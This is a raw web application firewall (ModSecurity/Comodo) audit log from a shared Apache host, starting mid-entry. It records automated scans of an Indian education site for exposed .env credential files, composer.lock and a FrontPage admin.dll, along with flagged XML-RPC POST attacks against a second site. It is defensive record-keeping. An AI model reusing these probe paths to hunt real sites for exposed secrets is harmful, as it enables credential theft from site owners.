GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --15dda733-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/_vti_adm/admin.dll"] [unique_id "aE9YeGM0Xdzjsxbr1PzufQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030456045985 656821 (- - -) Stopwatch2: 1750030456045985 656821; combined=1819, p1=403, p2=1330, p3=0, p4=0, p5=86, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15dda733-Z-- --6af96b41-A-- [16/Jun/2025:05:04:22.038432 +0530] aE9YfcalTF-TysO2fMOFhAAAAAE 185.177.72.210 48892 127.0.0.1 7081 --6af96b41-B-- GET /credentials/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6af96b41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aaee7feced61df2ddaba860c6e27a5111750030461; expires=Mon, 16 Jun 2025 00:34:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6af96b41-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.staging"] [unique_id "aE9YfcalTF-TysO2fMOFhAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030461370773 667724 (- - -) Stopwatch2: 1750030461370773 667724; combined=1921, p1=390, p2=1423, p3=0, p4=0, p5=107, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6af96b41-Z-- --d5d68406-A-- [16/Jun/2025:05:04:38.232960 +0530] aE9YjcalTF-TysO2fMOFiwAAAAE 185.177.72.210 37850 127.0.0.1 7081 --d5d68406-B-- GET /:8080/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d5d68406-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23d0d2eb9464369f5cf3c7d06e3631ab1750030478; expires=Mon, 16 Jun 2025 00:34:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d5d68406-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/rest/.env"] [unique_id "aE9YjcalTF-TysO2fMOFiwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030477559766 673258 (- - -) Stopwatch2: 1750030477559766 673258; combined=1638, p1=346, p2=1160, p3=0, p4=0, p5=131, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5d68406-Z-- --8d7c3871-A-- [16/Jun/2025:05:04:43.819099 +0530] aE9Yk6pdvXW4_hknQUUuPQAAAAo 185.177.72.210 42612 127.0.0.1 7081 --8d7c3871-B-- GET /:8080/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8d7c3871-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=af70af1469a3e17cc04a5304d2cfdec51750030483; expires=Mon, 16 Jun 2025 00:34:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8d7c3871-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env~"] [unique_id "aE9Yk6pdvXW4_hknQUUuPQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030483161502 657678 (- - -) Stopwatch2: 1750030483161502 657678; combined=1809, p1=390, p2=1307, p3=0, p4=0, p5=111, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8d7c3871-Z-- --2af2b85f-A-- [16/Jun/2025:05:05:04.343577 +0530] aE9Yp1u-mTBjBTNx-ySIrwAAAAk 185.177.72.210 56050 127.0.0.1 7081 --2af2b85f-B-- GET /:9000/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2af2b85f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69ecbf243626ee383eff020dcc5d6d661750030504; expires=Mon, 16 Jun 2025 00:35:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2af2b85f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.sample"] [unique_id "aE9Yp1u-mTBjBTNx-ySIrwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030503700972 642691 (- - -) Stopwatch2: 1750030503700972 642691; combined=1895, p1=391, p2=1417, p3=0, p4=0, p5=86, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2af2b85f-Z-- --fb48b260-A-- [16/Jun/2025:05:05:11.317226 +0530] aE9YrkoyC4_VyyL7sS6PHgAAAAI 128.199.112.101 44790 127.0.0.1 7081 --fb48b260-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fb48b260-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fb48b260-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9YrkoyC4_VyyL7sS6PHgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030510295424 1021857 (- - -) Stopwatch2: 1750030510295424 1021857; combined=2312, p1=380, p2=1566, p3=43, p4=62, p5=162, sr=112, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb48b260-Z-- --602cff3a-A-- [16/Jun/2025:05:05:57.759287 +0530] aE9Y3X2GhYywD7zZgx4IJAAAAAM 185.177.72.210 53072 127.0.0.1 7081 --602cff3a-B-- GET /:8080/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --602cff3a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ebe1b7f310ac23b9592da272f4de90b41750030557; expires=Mon, 16 Jun 2025 00:35:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --602cff3a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.3"] [unique_id "aE9Y3X2GhYywD7zZgx4IJAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030557079985 679396 (- - -) Stopwatch2: 1750030557079985 679396; combined=2024, p1=413, p2=1485, p3=0, p4=0, p5=126, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --602cff3a-Z-- --130e2f4f-A-- [16/Jun/2025:05:06:00.411521 +0530] aE9Y31u-mTBjBTNx-ySIyAAAAAk 185.177.72.210 56578 127.0.0.1 7081 --130e2f4f-B-- GET /:8181/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --130e2f4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=16c110d18c792548b03e48f1cac5e83b1750030560; expires=Mon, 16 Jun 2025 00:36:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --130e2f4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/log/.env"] [unique_id "aE9Y31u-mTBjBTNx-ySIyAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030559714914 696671 (- - -) Stopwatch2: 1750030559714914 696671; combined=2017, p1=384, p2=1541, p3=0, p4=0, p5=91, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --130e2f4f-Z-- --c06fb266-A-- [16/Jun/2025:05:06:07.433486 +0530] aE9Y5mM0Xdzjsxbr1PzuvQAAAAY 185.177.72.210 57036 127.0.0.1 7081 --c06fb266-B-- GET /admin-panel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c06fb266-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=07fd56d1ce87eda6e22f0d03df7f52c31750030567; expires=Mon, 16 Jun 2025 00:36:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c06fb266-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin-panel/.env"] [unique_id "aE9Y5mM0Xdzjsxbr1PzuvQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030566730105 703445 (- - -) Stopwatch2: 1750030566730105 703445; combined=1876, p1=350, p2=1434, p3=0, p4=0, p5=91, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c06fb266-Z-- --7b688c69-A-- [16/Jun/2025:05:06:08.550863 +0530] aE9Y51xTdrwJSUMoZvG4YAAAAAc 185.177.72.210 57188 127.0.0.1 7081 --7b688c69-B-- GET /Serve_time_server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b688c69-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5568c816ca573e266dc32d3f0e649fae1750030568; expires=Mon, 16 Jun 2025 00:36:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b688c69-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Serve_time_server/.env"] [unique_id "aE9Y51xTdrwJSUMoZvG4YAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030567870996 679931 (- - -) Stopwatch2: 1750030567870996 679931; combined=2201, p1=418, p2=1606, p3=0, p4=0, p5=177, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b688c69-Z-- --8a82473f-A-- [16/Jun/2025:05:06:11.492465 +0530] aE9Y6n2GhYywD7zZgx4ILQAAAAM 128.199.112.101 39480 127.0.0.1 7081 --8a82473f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8a82473f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8a82473f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Y6n2GhYywD7zZgx4ILQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030570449670 1042853 (- - -) Stopwatch2: 1750030570449670 1042853; combined=2399, p1=377, p2=1585, p3=43, p4=66, p5=200, sr=104, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8a82473f-Z-- --bd644469-A-- [16/Jun/2025:05:06:12.743265 +0530] aE9Y7Fu-mTBjBTNx-ySI0AAAAAk 185.177.72.210 39540 127.0.0.1 7081 --bd644469-B-- GET /:9000/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bd644469-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2d6834001c308324ce313658bff336631750030572; expires=Mon, 16 Jun 2025 00:36:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bd644469-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/local/.env"] [unique_id "aE9Y7Fu-mTBjBTNx-ySI0AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030572014775 728555 (- - -) Stopwatch2: 1750030572014775 728555; combined=2148, p1=456, p2=1591, p3=0, p4=0, p5=101, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd644469-Z-- --7b0b063a-A-- [16/Jun/2025:05:06:17.110188 +0530] aE9Y8Fu-mTBjBTNx-ySI0gAAAAk 185.177.72.210 39718 127.0.0.1 7081 --7b0b063a-B-- GET /composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b0b063a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=804f48a9d76aff238c8de255eec1cffa1750030576; expires=Mon, 16 Jun 2025 00:36:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b0b063a-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/composer.lock"] [unique_id "aE9Y8Fu-mTBjBTNx-ySI0gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030576406157 704094 (- - -) Stopwatch2: 1750030576406157 704094; combined=1909, p1=360, p2=1436, p3=0, p4=0, p5=112, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b0b063a-Z-- --f38c4e6f-A-- [16/Jun/2025:05:06:19.085971 +0530] aE9Y8lxTdrwJSUMoZvG4ZQAAAAc 185.177.72.210 39790 127.0.0.1 7081 --f38c4e6f-B-- GET /.env_sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f38c4e6f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b8e3467eff040956b68227146310c54a1750030578; expires=Mon, 16 Jun 2025 00:36:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f38c4e6f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_sample"] [unique_id "aE9Y8lxTdrwJSUMoZvG4ZQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030578429175 656871 (- - -) Stopwatch2: 1750030578429175 656871; combined=1710, p1=393, p2=1214, p3=0, p4=0, p5=102, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" 